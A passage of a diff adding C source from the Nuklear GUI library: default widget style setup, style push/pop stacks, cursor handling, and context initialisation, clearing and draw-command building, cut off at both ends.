nk_style_item_color(table[NK_COLOR_SELECT_ACTIVE]); + select->pressed_active = nk_style_item_color(table[NK_COLOR_SELECT_ACTIVE]); + select->text_normal = table[NK_COLOR_TEXT]; + select->text_hover = table[NK_COLOR_TEXT]; + select->text_pressed = table[NK_COLOR_TEXT]; + select->text_normal_active = table[NK_COLOR_TEXT]; + select->text_hover_active = table[NK_COLOR_TEXT]; + select->text_pressed_active = table[NK_COLOR_TEXT]; + select->padding = nk_vec2(2.0f,2.0f); + select->image_padding = nk_vec2(2.0f,2.0f); + select->touch_padding = nk_vec2(0,0); + select->userdata = nk_handle_ptr(0); + select->rounding = 0.0f; + select->draw_begin = 0; + select->draw_end = 0; + + /* slider */ + slider = &style->slider; + nk_zero_struct(*slider); + slider->normal = nk_style_item_hide(); + slider->hover = nk_style_item_hide(); + slider->active = nk_style_item_hide(); + slider->bar_normal = table[NK_COLOR_SLIDER]; + slider->bar_hover = table[NK_COLOR_SLIDER]; + slider->bar_active = table[NK_COLOR_SLIDER]; + slider->bar_filled = table[NK_COLOR_SLIDER_CURSOR]; + slider->cursor_normal = nk_style_item_color(table[NK_COLOR_SLIDER_CURSOR]); + slider->cursor_hover = nk_style_item_color(table[NK_COLOR_SLIDER_CURSOR_HOVER]); + slider->cursor_active = nk_style_item_color(table[NK_COLOR_SLIDER_CURSOR_ACTIVE]); + slider->inc_symbol = NK_SYMBOL_TRIANGLE_RIGHT; + slider->dec_symbol = NK_SYMBOL_TRIANGLE_LEFT; + slider->cursor_size = nk_vec2(16,16); + slider->padding = nk_vec2(2,2); + slider->spacing = nk_vec2(2,2); + slider->userdata = nk_handle_ptr(0); + slider->show_buttons = nk_false; + slider->bar_height = 8; + slider->rounding = 0; + slider->draw_begin = 0; + slider->draw_end = 0; + + /* slider buttons */ + button = &style->slider.inc_button; + button->normal = nk_style_item_color(nk_rgb(40,40,40)); + button->hover = nk_style_item_color(nk_rgb(42,42,42)); + button->active = nk_style_item_color(nk_rgb(44,44,44)); + button->border_color = nk_rgb(65,65,65); + button->text_background = nk_rgb(40,40,40); + button->text_normal = nk_rgb(175,175,175); + button->text_hover = nk_rgb(175,175,175); + button->text_active = nk_rgb(175,175,175); + button->padding = nk_vec2(8.0f,8.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 1.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + style->slider.dec_button = style->slider.inc_button; + + /* progressbar */ + prog = &style->progress; + nk_zero_struct(*prog); + prog->normal = nk_style_item_color(table[NK_COLOR_SLIDER]); + prog->hover = nk_style_item_color(table[NK_COLOR_SLIDER]); + prog->active = nk_style_item_color(table[NK_COLOR_SLIDER]); + prog->cursor_normal = nk_style_item_color(table[NK_COLOR_SLIDER_CURSOR]); + prog->cursor_hover = nk_style_item_color(table[NK_COLOR_SLIDER_CURSOR_HOVER]); + prog->cursor_active = nk_style_item_color(table[NK_COLOR_SLIDER_CURSOR_ACTIVE]); + prog->border_color = nk_rgba(0,0,0,0); + prog->cursor_border_color = nk_rgba(0,0,0,0); + prog->userdata = nk_handle_ptr(0); + prog->padding = nk_vec2(4,4); + prog->rounding = 0; + prog->border = 0; + prog->cursor_rounding = 0; + prog->cursor_border = 0; + prog->draw_begin = 0; + prog->draw_end = 0; + + /* scrollbars */ + scroll = &style->scrollh; + nk_zero_struct(*scroll); + scroll->normal = nk_style_item_color(table[NK_COLOR_SCROLLBAR]); + scroll->hover = nk_style_item_color(table[NK_COLOR_SCROLLBAR]); + scroll->active = nk_style_item_color(table[NK_COLOR_SCROLLBAR]); + scroll->cursor_normal = nk_style_item_color(table[NK_COLOR_SCROLLBAR_CURSOR]); + scroll->cursor_hover = nk_style_item_color(table[NK_COLOR_SCROLLBAR_CURSOR_HOVER]); + scroll->cursor_active = nk_style_item_color(table[NK_COLOR_SCROLLBAR_CURSOR_ACTIVE]); + scroll->dec_symbol = NK_SYMBOL_CIRCLE_SOLID; + scroll->inc_symbol = NK_SYMBOL_CIRCLE_SOLID; + scroll->userdata = nk_handle_ptr(0); + scroll->border_color = table[NK_COLOR_SCROLLBAR]; + scroll->cursor_border_color = table[NK_COLOR_SCROLLBAR]; + scroll->padding = nk_vec2(0,0); + scroll->show_buttons = nk_false; + scroll->border = 0; + scroll->rounding = 0; + scroll->border_cursor = 0; + scroll->rounding_cursor = 0; + scroll->draw_begin = 0; + scroll->draw_end = 0; + style->scrollv = style->scrollh; + + /* scrollbars buttons */ + button = &style->scrollh.inc_button; + button->normal = nk_style_item_color(nk_rgb(40,40,40)); + button->hover = nk_style_item_color(nk_rgb(42,42,42)); + button->active = nk_style_item_color(nk_rgb(44,44,44)); + button->border_color = nk_rgb(65,65,65); + button->text_background = nk_rgb(40,40,40); + button->text_normal = nk_rgb(175,175,175); + button->text_hover = nk_rgb(175,175,175); + button->text_active = nk_rgb(175,175,175); + button->padding = nk_vec2(4.0f,4.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 1.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + style->scrollh.dec_button = style->scrollh.inc_button; + style->scrollv.inc_button = style->scrollh.inc_button; + style->scrollv.dec_button = style->scrollh.inc_button; + + /* edit */ + edit = &style->edit; + nk_zero_struct(*edit); + edit->normal = nk_style_item_color(table[NK_COLOR_EDIT]); + edit->hover = nk_style_item_color(table[NK_COLOR_EDIT]); + edit->active = nk_style_item_color(table[NK_COLOR_EDIT]); + edit->cursor_normal = table[NK_COLOR_TEXT]; + edit->cursor_hover = table[NK_COLOR_TEXT]; + edit->cursor_text_normal= table[NK_COLOR_EDIT]; + edit->cursor_text_hover = table[NK_COLOR_EDIT]; + edit->border_color = table[NK_COLOR_BORDER]; + edit->text_normal = table[NK_COLOR_TEXT]; + edit->text_hover = table[NK_COLOR_TEXT]; + edit->text_active = table[NK_COLOR_TEXT]; + edit->selected_normal = table[NK_COLOR_TEXT]; + edit->selected_hover = table[NK_COLOR_TEXT]; + edit->selected_text_normal = table[NK_COLOR_EDIT]; + edit->selected_text_hover = table[NK_COLOR_EDIT]; + edit->scrollbar_size = nk_vec2(10,10); + edit->scrollbar = style->scrollv; + edit->padding = nk_vec2(4,4); + edit->row_padding = 2; + edit->cursor_size = 4; + edit->border = 1; + edit->rounding = 0; + + /* property */ + property = &style->property; + nk_zero_struct(*property); + property->normal = nk_style_item_color(table[NK_COLOR_PROPERTY]); + property->hover = nk_style_item_color(table[NK_COLOR_PROPERTY]); + property->active = nk_style_item_color(table[NK_COLOR_PROPERTY]); + property->border_color = table[NK_COLOR_BORDER]; + property->label_normal = table[NK_COLOR_TEXT]; + property->label_hover = table[NK_COLOR_TEXT]; + property->label_active = table[NK_COLOR_TEXT]; + property->sym_left = NK_SYMBOL_TRIANGLE_LEFT; + property->sym_right = NK_SYMBOL_TRIANGLE_RIGHT; + property->userdata = nk_handle_ptr(0); + property->padding = nk_vec2(4,4); + property->border = 1; + property->rounding = 10; + property->draw_begin = 0; + property->draw_end = 0; + + /* property buttons */ + button = &style->property.dec_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_PROPERTY]); + button->hover = nk_style_item_color(table[NK_COLOR_PROPERTY]); + button->active = nk_style_item_color(table[NK_COLOR_PROPERTY]); + button->border_color = nk_rgba(0,0,0,0); + button->text_background = table[NK_COLOR_PROPERTY]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(0.0f,0.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + style->property.inc_button = style->property.dec_button; + + /* property edit */ + edit = &style->property.edit; + nk_zero_struct(*edit); + edit->normal = nk_style_item_color(table[NK_COLOR_PROPERTY]); + edit->hover = nk_style_item_color(table[NK_COLOR_PROPERTY]); + edit->active = nk_style_item_color(table[NK_COLOR_PROPERTY]); + edit->border_color = nk_rgba(0,0,0,0); + edit->cursor_normal = table[NK_COLOR_TEXT]; + edit->cursor_hover = table[NK_COLOR_TEXT]; + edit->cursor_text_normal= table[NK_COLOR_EDIT]; + edit->cursor_text_hover = table[NK_COLOR_EDIT]; + edit->text_normal = table[NK_COLOR_TEXT]; + edit->text_hover = table[NK_COLOR_TEXT]; + edit->text_active = table[NK_COLOR_TEXT]; + edit->selected_normal = table[NK_COLOR_TEXT]; + edit->selected_hover = table[NK_COLOR_TEXT]; + edit->selected_text_normal = table[NK_COLOR_EDIT]; + edit->selected_text_hover = table[NK_COLOR_EDIT]; + edit->padding = nk_vec2(0,0); + edit->cursor_size = 8; + edit->border = 0; + edit->rounding = 0; + + /* chart */ + chart = &style->chart; + nk_zero_struct(*chart); + chart->background = nk_style_item_color(table[NK_COLOR_CHART]); + chart->border_color = table[NK_COLOR_BORDER]; + chart->selected_color = table[NK_COLOR_CHART_COLOR_HIGHLIGHT]; + chart->color = table[NK_COLOR_CHART_COLOR]; + chart->padding = nk_vec2(4,4); + chart->border = 0; + chart->rounding = 0; + + /* combo */ + combo = &style->combo; + combo->normal = nk_style_item_color(table[NK_COLOR_COMBO]); + combo->hover = nk_style_item_color(table[NK_COLOR_COMBO]); + combo->active = nk_style_item_color(table[NK_COLOR_COMBO]); + combo->border_color = table[NK_COLOR_BORDER]; + combo->label_normal = table[NK_COLOR_TEXT]; + combo->label_hover = table[NK_COLOR_TEXT]; + combo->label_active = table[NK_COLOR_TEXT]; + combo->sym_normal = NK_SYMBOL_TRIANGLE_DOWN; + combo->sym_hover = NK_SYMBOL_TRIANGLE_DOWN; + combo->sym_active = NK_SYMBOL_TRIANGLE_DOWN; + combo->content_padding = nk_vec2(4,4); + combo->button_padding = nk_vec2(0,4); + combo->spacing = nk_vec2(4,0); + combo->border = 1; + combo->rounding = 0; + + /* combo button */ + button = &style->combo.button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_COMBO]); + button->hover = nk_style_item_color(table[NK_COLOR_COMBO]); + button->active = nk_style_item_color(table[NK_COLOR_COMBO]); + button->border_color = nk_rgba(0,0,0,0); + button->text_background = table[NK_COLOR_COMBO]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(2.0f,2.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + + /* tab */ + tab = &style->tab; + tab->background = nk_style_item_color(table[NK_COLOR_TAB_HEADER]); + tab->border_color = table[NK_COLOR_BORDER]; + tab->text = table[NK_COLOR_TEXT]; + tab->sym_minimize = NK_SYMBOL_TRIANGLE_RIGHT; + tab->sym_maximize = NK_SYMBOL_TRIANGLE_DOWN; + tab->padding = nk_vec2(4,4); + tab->spacing = nk_vec2(4,4); + tab->indent = 10.0f; + tab->border = 1; + tab->rounding = 0; + + /* tab button */ + button = &style->tab.tab_minimize_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_TAB_HEADER]); + button->hover = nk_style_item_color(table[NK_COLOR_TAB_HEADER]); + button->active = nk_style_item_color(table[NK_COLOR_TAB_HEADER]); + button->border_color = nk_rgba(0,0,0,0); + button->text_background = table[NK_COLOR_TAB_HEADER]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(2.0f,2.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + style->tab.tab_maximize_button =*button; + + /* node button */ + button = &style->tab.node_minimize_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->hover = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->active = nk_style_item_color(table[NK_COLOR_WINDOW]); + button->border_color = nk_rgba(0,0,0,0); + button->text_background = table[NK_COLOR_TAB_HEADER]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(2.0f,2.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + style->tab.node_maximize_button =*button; + + /* window header */ + win = &style->window; + win->header.align = NK_HEADER_RIGHT; + win->header.close_symbol = NK_SYMBOL_X; + win->header.minimize_symbol = NK_SYMBOL_MINUS; + win->header.maximize_symbol = NK_SYMBOL_PLUS; + win->header.normal = nk_style_item_color(table[NK_COLOR_HEADER]); + win->header.hover = nk_style_item_color(table[NK_COLOR_HEADER]); + win->header.active = nk_style_item_color(table[NK_COLOR_HEADER]); + win->header.label_normal = table[NK_COLOR_TEXT]; + win->header.label_hover = table[NK_COLOR_TEXT]; + win->header.label_active = table[NK_COLOR_TEXT]; + win->header.label_padding = nk_vec2(4,4); + win->header.padding = nk_vec2(4,4); + win->header.spacing = nk_vec2(0,0); + + /* window header close button */ + button = &style->window.header.close_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_HEADER]); + button->hover = nk_style_item_color(table[NK_COLOR_HEADER]); + button->active = nk_style_item_color(table[NK_COLOR_HEADER]); + button->border_color = nk_rgba(0,0,0,0); + button->text_background = table[NK_COLOR_HEADER]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(0.0f,0.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + + /* window header minimize button */ + button = &style->window.header.minimize_button; + nk_zero_struct(*button); + button->normal = nk_style_item_color(table[NK_COLOR_HEADER]); + button->hover = nk_style_item_color(table[NK_COLOR_HEADER]); + button->active = nk_style_item_color(table[NK_COLOR_HEADER]); + button->border_color = nk_rgba(0,0,0,0); + button->text_background = table[NK_COLOR_HEADER]; + button->text_normal = table[NK_COLOR_TEXT]; + button->text_hover = table[NK_COLOR_TEXT]; + button->text_active = table[NK_COLOR_TEXT]; + button->padding = nk_vec2(0.0f,0.0f); + button->touch_padding = nk_vec2(0.0f,0.0f); + button->userdata = nk_handle_ptr(0); + button->text_alignment = NK_TEXT_CENTERED; + button->border = 0.0f; + button->rounding = 0.0f; + button->draw_begin = 0; + button->draw_end = 0; + + /* window */ + win->background = table[NK_COLOR_WINDOW]; + win->fixed_background = nk_style_item_color(table[NK_COLOR_WINDOW]); + win->border_color = table[NK_COLOR_BORDER]; + win->popup_border_color = table[NK_COLOR_BORDER]; + win->combo_border_color = table[NK_COLOR_BORDER]; + win->contextual_border_color = table[NK_COLOR_BORDER]; + win->menu_border_color = table[NK_COLOR_BORDER]; + win->group_border_color = table[NK_COLOR_BORDER]; + win->tooltip_border_color = table[NK_COLOR_BORDER]; + win->scaler = nk_style_item_color(table[NK_COLOR_TEXT]); + + win->rounding = 0.0f; + win->spacing = nk_vec2(4,4); + win->scrollbar_size = nk_vec2(10,10); + win->min_size = nk_vec2(64,64); + + win->combo_border = 1.0f; + win->contextual_border = 1.0f; + win->menu_border = 1.0f; + win->group_border = 1.0f; + win->tooltip_border = 1.0f; + win->popup_border = 1.0f; + win->border = 2.0f; + win->min_row_height_padding = 8; + + win->padding = nk_vec2(4,4); + win->group_padding = nk_vec2(4,4); + win->popup_padding = nk_vec2(4,4); + win->combo_padding = nk_vec2(4,4); + win->contextual_padding = nk_vec2(4,4); + win->menu_padding = nk_vec2(4,4); + win->tooltip_padding = nk_vec2(4,4); +} +NK_API void +nk_style_set_font(struct nk_context *ctx, const struct nk_user_font *font) +{ + struct nk_style *style; + NK_ASSERT(ctx); + + if (!ctx) return; + style = &ctx->style; + style->font = font; + ctx->stacks.fonts.head = 0; + if (ctx->current) + nk_layout_reset_min_row_height(ctx); +} +NK_API int +nk_style_push_font(struct nk_context *ctx, const struct nk_user_font *font) +{ + struct nk_config_stack_user_font *font_stack; + struct nk_config_stack_user_font_element *element; + + NK_ASSERT(ctx); + if (!ctx) return 0; + + font_stack = &ctx->stacks.fonts; + NK_ASSERT(font_stack->head < (int)NK_LEN(font_stack->elements)); + if (font_stack->head >= (int)NK_LEN(font_stack->elements)) + return 0; + + element = &font_stack->elements[font_stack->head++]; + element->address = &ctx->style.font; + element->old_value = ctx->style.font; + ctx->style.font = font; + return 1; +} +NK_API int +nk_style_pop_font(struct nk_context *ctx) +{ + struct nk_config_stack_user_font *font_stack; + struct nk_config_stack_user_font_element *element; + + NK_ASSERT(ctx); + if (!ctx) return 0; + + font_stack = &ctx->stacks.fonts; + NK_ASSERT(font_stack->head > 0); + if (font_stack->head < 1) + return 0; + + element = &font_stack->elements[--font_stack->head]; + *element->address = element->old_value; + return 1; +} +#define NK_STYLE_PUSH_IMPLEMENATION(prefix, type, stack) \ +nk_style_push_##type(struct nk_context *ctx, prefix##_##type *address, prefix##_##type value)\ +{\ + struct nk_config_stack_##type * type_stack;\ + struct nk_config_stack_##type##_element *element;\ + NK_ASSERT(ctx);\ + if (!ctx) return 0;\ + type_stack = &ctx->stacks.stack;\ + NK_ASSERT(type_stack->head < (int)NK_LEN(type_stack->elements));\ + if (type_stack->head >= (int)NK_LEN(type_stack->elements))\ + return 0;\ + element = &type_stack->elements[type_stack->head++];\ + element->address = address;\ + element->old_value = *address;\ + *address = value;\ + return 1;\ +} +#define NK_STYLE_POP_IMPLEMENATION(type, stack) \ +nk_style_pop_##type(struct nk_context *ctx)\ +{\ + struct nk_config_stack_##type *type_stack;\ + struct nk_config_stack_##type##_element *element;\ + NK_ASSERT(ctx);\ + if (!ctx) return 0;\ + type_stack = &ctx->stacks.stack;\ + NK_ASSERT(type_stack->head > 0);\ + if (type_stack->head < 1)\ + return 0;\ + element = &type_stack->elements[--type_stack->head];\ + *element->address = element->old_value;\ + return 1;\ +} +NK_API int NK_STYLE_PUSH_IMPLEMENATION(struct nk, style_item, style_items) +NK_API int NK_STYLE_PUSH_IMPLEMENATION(nk,float, floats) +NK_API int NK_STYLE_PUSH_IMPLEMENATION(struct nk, vec2, vectors) +NK_API int NK_STYLE_PUSH_IMPLEMENATION(nk,flags, flags) +NK_API int NK_STYLE_PUSH_IMPLEMENATION(struct nk,color, colors) + +NK_API int NK_STYLE_POP_IMPLEMENATION(style_item, style_items) +NK_API int NK_STYLE_POP_IMPLEMENATION(float,floats) +NK_API int NK_STYLE_POP_IMPLEMENATION(vec2, vectors) +NK_API int NK_STYLE_POP_IMPLEMENATION(flags,flags) +NK_API int NK_STYLE_POP_IMPLEMENATION(color,colors) + +NK_API int +nk_style_set_cursor(struct nk_context *ctx, enum nk_style_cursor c) +{ + struct nk_style *style; + NK_ASSERT(ctx); + if (!ctx) return 0; + style = &ctx->style; + if (style->cursors[c]) { + style->cursor_active = style->cursors[c]; + return 1; + } + return 0; +} +NK_API void +nk_style_show_cursor(struct nk_context *ctx) +{ + ctx->style.cursor_visible = nk_true; +} +NK_API void +nk_style_hide_cursor(struct nk_context *ctx) +{ + ctx->style.cursor_visible = nk_false; +} +NK_API void +nk_style_load_cursor(struct nk_context *ctx, enum nk_style_cursor cursor, + const struct nk_cursor *c) +{ + struct nk_style *style; + NK_ASSERT(ctx); + if (!ctx) return; + style = &ctx->style; + style->cursors[cursor] = c; +} +NK_API void +nk_style_load_all_cursors(struct nk_context *ctx, struct nk_cursor *cursors) +{ + int i = 0; + struct nk_style *style; + NK_ASSERT(ctx); + if (!ctx) return; + style = &ctx->style; + for (i = 0; i < NK_CURSOR_COUNT; ++i) + style->cursors[i] = &cursors[i]; + style->cursor_visible = nk_true; +} + + + + + +/* ============================================================== + * + * CONTEXT + * + * ===============================================================*/ +NK_INTERN void +nk_setup(struct nk_context *ctx, const struct nk_user_font *font) +{ + NK_ASSERT(ctx); + if (!ctx) return; + nk_zero_struct(*ctx); + nk_style_default(ctx); + ctx->seq = 1; + if (font) ctx->style.font = font; +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT + nk_draw_list_init(&ctx->draw_list); +#endif +} +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API int +nk_init_default(struct nk_context *ctx, const struct nk_user_font *font) +{ + struct nk_allocator alloc; + alloc.userdata.ptr = 0; + alloc.alloc = nk_malloc; + alloc.free = nk_mfree; + return nk_init(ctx, &alloc, font); +} +#endif +NK_API int +nk_init_fixed(struct nk_context *ctx, void *memory, nk_size size, + const struct nk_user_font *font) +{ + NK_ASSERT(memory); + if (!memory) return 0; + nk_setup(ctx, font); + nk_buffer_init_fixed(&ctx->memory, memory, size); + ctx->use_pool = nk_false; + return 1; +} +NK_API int +nk_init_custom(struct nk_context *ctx, struct nk_buffer *cmds, + struct nk_buffer *pool, const struct nk_user_font *font) +{ + NK_ASSERT(cmds); + NK_ASSERT(pool); + if (!cmds || !pool) return 0; + + nk_setup(ctx, font); + ctx->memory = *cmds; + if (pool->type == NK_BUFFER_FIXED) { + /* take memory from buffer and alloc fixed pool */ + nk_pool_init_fixed(&ctx->pool, pool->memory.ptr, pool->memory.size); + } else { + /* create dynamic pool from buffer allocator */ + struct nk_allocator *alloc = &pool->pool; + nk_pool_init(&ctx->pool, alloc, NK_POOL_DEFAULT_CAPACITY); + } + ctx->use_pool = nk_true; + return 1; +} +NK_API int +nk_init(struct nk_context *ctx, struct nk_allocator *alloc, + const struct nk_user_font *font) +{ + NK_ASSERT(alloc); + if (!alloc) return 0; + nk_setup(ctx, font); + nk_buffer_init(&ctx->memory, alloc, NK_DEFAULT_COMMAND_BUFFER_SIZE); + nk_pool_init(&ctx->pool, alloc, NK_POOL_DEFAULT_CAPACITY); + ctx->use_pool = nk_true; + return 1; +} +#ifdef NK_INCLUDE_COMMAND_USERDATA +NK_API void +nk_set_user_data(struct nk_context *ctx, nk_handle handle) +{ + if (!ctx) return; + ctx->userdata = handle; + if (ctx->current) + ctx->current->buffer.userdata = handle; +} +#endif +NK_API void +nk_free(struct nk_context *ctx) +{ + NK_ASSERT(ctx); + if (!ctx) return; + nk_buffer_free(&ctx->memory); + if (ctx->use_pool) + nk_pool_free(&ctx->pool); + + nk_zero(&ctx->input, sizeof(ctx->input)); + nk_zero(&ctx->style, sizeof(ctx->style)); + nk_zero(&ctx->memory, sizeof(ctx->memory)); + + ctx->seq = 0; + ctx->build = 0; + ctx->begin = 0; + ctx->end = 0; + ctx->active = 0; + ctx->current = 0; + ctx->freelist = 0; + ctx->count = 0; +} +NK_API void +nk_clear(struct nk_context *ctx) +{ + struct nk_window *iter; + struct nk_window *next; + NK_ASSERT(ctx); + + if (!ctx) return; + if (ctx->use_pool) + nk_buffer_clear(&ctx->memory); + else nk_buffer_reset(&ctx->memory, NK_BUFFER_FRONT); + + ctx->build = 0; + ctx->memory.calls = 0; + ctx->last_widget_state = 0; + ctx->style.cursor_active = ctx->style.cursors[NK_CURSOR_ARROW]; + NK_MEMSET(&ctx->overlay, 0, sizeof(ctx->overlay)); + + /* garbage collector */ + iter = ctx->begin; + while (iter) { + /* make sure valid minimized windows do not get removed */ + if ((iter->flags & NK_WINDOW_MINIMIZED) && + !(iter->flags & NK_WINDOW_CLOSED) && + iter->seq == ctx->seq) { + iter = iter->next; + continue; + } + /* remove hotness from hidden or closed windows*/ + if (((iter->flags & NK_WINDOW_HIDDEN) || + (iter->flags & NK_WINDOW_CLOSED)) && + iter == ctx->active) { + ctx->active = iter->prev; + ctx->end = iter->prev; + if (!ctx->end) + ctx->begin = 0; + if (ctx->active) + ctx->active->flags &= ~(unsigned)NK_WINDOW_ROM; + } + /* free unused popup windows */ + if (iter->popup.win && iter->popup.win->seq != ctx->seq) { + nk_free_window(ctx, iter->popup.win); + iter->popup.win = 0; + } + /* remove unused window state tables */ + {struct nk_table *n, *it = iter->tables; + while (it) { + n = it->next; + if (it->seq != ctx->seq) { + nk_remove_table(iter, it); + nk_zero(it, sizeof(union nk_page_data)); + nk_free_table(ctx, it); + if (it == iter->tables) + iter->tables = n; + } it = n; + }} + /* window itself is not used anymore so free */ + if (iter->seq != ctx->seq || iter->flags & NK_WINDOW_CLOSED) { + next = iter->next; + nk_remove_window(ctx, iter); + nk_free_window(ctx, iter); + iter = next; + } else iter = iter->next; + } + ctx->seq++; +} +NK_LIB void +nk_start_buffer(struct nk_context *ctx, struct nk_command_buffer *buffer) +{ + NK_ASSERT(ctx); + NK_ASSERT(buffer); + if (!ctx || !buffer) return; + buffer->begin = ctx->memory.allocated; + buffer->end = buffer->begin; + buffer->last = buffer->begin; + buffer->clip = nk_null_rect; +} +NK_LIB void +nk_start(struct nk_context *ctx, struct nk_window *win) +{ + NK_ASSERT(ctx); + NK_ASSERT(win); + nk_start_buffer(ctx, &win->buffer); +} +NK_LIB void +nk_start_popup(struct nk_context *ctx, struct nk_window *win) +{ + struct nk_popup_buffer *buf; + NK_ASSERT(ctx); + NK_ASSERT(win); + if (!ctx || !win) return; + + /* save buffer fill state for popup */ + buf = &win->popup.buf; + buf->begin = win->buffer.end; + buf->end = win->buffer.end; + buf->parent = win->buffer.last; + buf->last = buf->begin; + buf->active = nk_true; +} +NK_LIB void +nk_finish_popup(struct nk_context *ctx, struct nk_window *win) +{ + struct nk_popup_buffer *buf; + NK_ASSERT(ctx); + NK_ASSERT(win); + if (!ctx || !win) return; + + buf = &win->popup.buf; + buf->last = win->buffer.last; + buf->end = win->buffer.end; +} +NK_LIB void +nk_finish_buffer(struct nk_context *ctx, struct nk_command_buffer *buffer) +{ + NK_ASSERT(ctx); + NK_ASSERT(buffer); + if (!ctx || !buffer) return; + buffer->end = ctx->memory.allocated; +} +NK_LIB void +nk_finish(struct nk_context *ctx, struct nk_window *win) +{ + struct nk_popup_buffer *buf; + struct nk_command *parent_last; + void *memory; + + NK_ASSERT(ctx); + NK_ASSERT(win); + if (!ctx || !win) return; + nk_finish_buffer(ctx, &win->buffer); + if (!win->popup.buf.active) return; + + buf = &win->popup.buf; + memory = ctx->memory.memory.ptr; + parent_last = nk_ptr_add(struct nk_command, memory, buf->parent); + parent_last->next = buf->end; +} +NK_LIB void +nk_build(struct nk_context *ctx) +{ + struct nk_window *it = 0; + struct nk_command *cmd = 0; + nk_byte *buffer = 0; + + /* draw cursor overlay */ + if (!ctx->style.cursor_active) + ctx->style.cursor_active = ctx->style.cursors[NK_CURSOR_ARROW]; + if (ctx->style.cursor_active && !ctx->input.mouse.grabbed && ctx->style.cursor_visible) { + struct nk_rect mouse_bounds; + const struct nk_cursor *cursor = ctx->style.cursor_active; + nk_command_buffer_init(&ctx->overlay, &ctx->memory, NK_CLIPPING_OFF); + nk_start_buffer(ctx, &ctx->overlay); + + mouse_bounds.x = ctx->input.mouse.pos.x - cursor->offset.x; + mouse_bounds.y = ctx->input.mouse.pos.y - cursor->offset.y; + mouse_bounds.w = cursor->size.x; + mouse_bounds.h = cursor->size.y; + + nk_draw_image(&ctx->overlay, mouse_bounds, &cursor->img, nk_white); + nk_finish_buffer(ctx, &ctx->overlay); + } + /* build one big draw command list out of all window buffers */ + it = ctx->begin; + buffer = (nk_byte*)ctx->memory.memory.ptr; + while (it != 0) { + struct nk_window *next = it->next; + if (it->buffer.last == it->buffer.begin || (it->flags & NK_WINDOW_HIDDEN)|| + it->seq != ctx->seq) + goto cont; + + cmd = nk_ptr_add(struct nk_command, buffer, it->buffer.last); + while (next && ((next->buffer.last == next->buffer.begin) || + (next->flags & NK_WINDOW_HIDDEN) || next->seq != ctx->seq)) + next = next->next; /* skip empty command buffers */ + + if (next) cmd->next = next->buffer.begin; + cont: it = next; + } + /* append all popup draw commands into lists */ + it = ctx->begin; + while (it != 0) { + struct nk_window *next = it->next; + struct nk_popup_buffer *buf; + if (!it->popup.buf.active) + goto skip; + + buf = &it->popup.buf; + cmd->next = buf->begin; + cmd = nk_ptr_add(struct nk_command, buffer, buf->last); + buf->active = nk_false; + skip: it = next; + } + if (cmd) { + /* append overlay commands */ + if (ctx->overlay.end != ctx->overlay.begin) + cmd->next = ctx->overlay.begin; + else cmd->next = ctx->memory.allocated; + } +} +NK_API const struct nk_command* +nk__begin(struct nk_context *ctx) +{ + struct nk_window *iter; + nk_byte *buffer; + NK_ASSERT(ctx); + if (!ctx) return 0; + if (!ctx->count) return 0; + + buffer = (nk_byte*)ctx->memory.memory.ptr; + if (!ctx->build) { + nk_build(ctx); + ctx->build = nk_true; + } + iter = ctx->begin; + while (iter && ((iter->buffer.begin == iter->buffer.end) || + (iter->flags & NK_WINDOW_HIDDEN) || iter->seq != ctx->seq)) + iter = iter->next; + if (!iter) return 0; + return nk_ptr_add_const(struct nk_command, buffer, iter->buffer.begin); +} + +NK_API const struct nk_command* +nk__next(struct nk_context *ctx, const struct nk_command *cmd) +{ + nk_byte *buffer; + const struct nk_command *next; + NK_ASSERT(ctx); + if (!ctx || !cmd || !ctx->count) return 0; + if (cmd->next >= ctx->memory.allocated) return 0; + 